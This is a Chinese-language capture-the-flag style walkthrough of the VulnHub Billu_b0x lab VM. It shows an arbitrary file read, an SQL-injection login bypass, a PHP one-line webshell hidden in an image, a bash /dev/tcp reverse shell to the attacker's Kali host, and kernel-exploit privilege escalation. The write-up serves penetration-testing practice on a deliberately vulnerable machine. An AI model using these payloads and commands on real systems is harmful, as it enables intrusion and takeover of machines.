vulnhub-billu_b0x靶机渗透
一、靶场详情
Billu_b0x 是 Vulnhub 上的经典中等难度靶机,主要考察从信息收集到提权的完整渗透流程:先通过端口和目录扫描发现网站入口,利用 SQL 注入或文件包含进入后台并上传 WebShell,再通过反弹 Shell 获取低权限用户,最后结合内核漏洞完成提权,最终拿到 root 权限,非常适合初学者系统练习 Web 渗透与 Linux 提权。
- vulnhub 官网:Vulnerable By Design ~ VulnHub
- 靶机下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip
配置介绍:
- 靶机:192.168.50.129
- kali:192.168.50.130
二、信息收集
1.获取目标 ip
通过 arp-scan -l 扫描到在线主机(靶机)
arp-scan -l
2.扫描目标信息
通过 nmap 扫描目标详情,得知靶机开启了 80 和 22 端口。
nmap -p- 192.168.50.129
访问 80 端口,发现该页面存在登录功能。
3. 对该 web 服务进行目录扫描
dirsearch -u http://192.168.50.129/ -i 200
目录扫描,扫描出 add.php,head.php,c,phpmy/,test.php 等页面,依次访问。
test.php 页面
phpmy/页面
三、漏洞发现及利用
1.任意文件读取
经过信息收集发现 test.php 页面,该页面提示给 file 参数进行传值,先进行 get 传参,发现没任何变化,那就抓包 post 传参。令 file=/etc/passwd,发包发现返回内容,则此处存在任意文件读取漏洞。令 file=信息收集到的几个页面,进行源码查看。
2.绕过登录
方法 1: 文件包含获得密码
在任意文件读取处,令 file=信息收集到的几个页面,进行源码查看。经过几个页面的分析,发现几个有用的信息。
令 file=c 时,疑似得到数据库的账号和密码。想到在信息收集时,收集到了 phpmy/页面为 phpmyadmin 登录页面。
拿此密码进行登录尝试,发现登录成功。
发现该数据库中存在 ica_lab 库,该库中有 3 张表,auth 表中存有账号密码。
怀疑是主页面的登录账号密码,进行登录尝试,发现登录成功。
方法 2:sql 注入
通过文件包含 index.php 主页面,可以知道该登录机制的源码
if(isset($_POST['login']))
{$uname=str_replace('\'','',urldecode($_POST['un']));$pass=str_replace('\'','',urldecode($_POST['ps']));$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';$result = mysqli_query($conn, $run);
参数uname和pass都对单引号做了过滤,单引号转化为空,最后的 sql 执行语句因该如下
select * from auth where pass='$pass' and uname='$uname'
当传入的密码为 \ 时,sql 语句变为
select * from auth where pass='\' and uname='$uname'
当传入的用户名为 or 1=1#时,sql 语句变为
select * from auth where pass='\' and uname='or 1=1#'
即 username=or 1=1#,password=\ 可绕过登录。
登录成功。
3.文件包含利用
(1)分析数据包
在登录之后,右键查看源码,发现图片存放的地址,可得到图片存放的地址。
抓包分析该页面的数据包。
使用前面发现的任意文件读取漏洞查看该页面源码。
经过分析发现,此处存在文件包含漏洞,会将包含的文件当做 php 执行,又知道上传图片存放的地址,则这里可以使用图片马进行利用。
(2)图片马制作
copy 1.jpg/b+yijuhua.php/a tupianma.jpg#copy,Windows 的文件复制命令,但它有一个特性:支持文件拼接。
#1.jpg/b,1.jpg 是一个图片文件,/b 表示 以二进制模式复制,防止换行符、EOF 等问题。
#+,代表把多个文件合并。
#yijuhua.php/a,yijuhua.php 是一个 PHP 文件(一句话木马,<?php system($_GET['cmd']);?>),/a 表示 以 ASCII 模式复制。
#tupianma.jpg,输出的目标文件名,即最终生成的文件。
将制作好的一句话木马图片上传,然后令 load 参数的值为该木马图片的路径。因为此处是通过抓包修改参数进行的文件包含,具有一次性,故不能进行蚁剑连接。
因为几句话木马为<?php system($_GET['cmd']);?>,所有在抓包修改时,直接在 get 请求中添加 cmd 参数进行触发木马。可以看到,命令执行成功。
(3)反弹 shell
这里需要使用反弹 shell 的方式连接靶机。
首先需要在 kali 中开启端口监听。
其次使用 cmd 参数执行命令,进行反弹 shell。
echo "bash -i > /dev/tcp/192.168.50.130/4444 0>&1" | bash
# bash -i,启动一个 交互式 bash shell
# > /dev/tcp/192.168.33.130/4444 把当前 shell 的标准输出重定向到攻击者 192.168.33.130:4444 上。
# 0>&1,这表示把 标准输入(fd 0)重定向到标准输出(fd 1)。
注意,需要对该命令进行 url 编码
echo+%22bash+-i+%3e+%2fdev%2ftcp%2f192.168.50.130%2f4444+0%3e%261%22+%7c+bash
点击发送,发现 kali 中已经成功连接。
因为通过 nc
拿到的 shell 是 最简陋的 TTY:
- 没有命令提示符
- 没有命令补全(Tab)
- 输入密码时也不会显示
*
- 输出可能乱码或显示不完整
可以在反弹 shell 里输入以下命令升级 shell
python -c 'import pty; pty.spawn("/bin/bash")'
(4)查看系统版本信息
cat /etc/*release
四、提权
1.查找 exp
在得知靶机的系统版本后,在 kali 中搜索是否有该版本的漏洞。
searchsploit Ubuntu 12.04
可以利用37292.c 这个 exp,首先将 37292.c 这个文件复制到桌面的 billu 文件中。
locate 37292.c #查询37292.c文件的位置
cp .c billu #将.c文件复制到billu中
2.开启 http 服务
在 billu 文件中,开启 http 服务,以便可以下载该文件到靶机中。
python -m http.server 8080
接下来使用 weget 将 37292.c 文件从 kali 中下载到靶机中。这里需要注意,/var/www 目录下没有写入的权限,需要先将目录切换到/var/tmp 中,将 37292.c 文件下载到/var/tmp 中。
3.编译,赋权,执行
接下来就是要对该文件进行编译,赋权,执行。获得 root 权限
gcc 37292.c -o 37292 #将该文件编译后输出为37292chmod +x 37292 #给编译好的文件执行权限./37292 #执行文件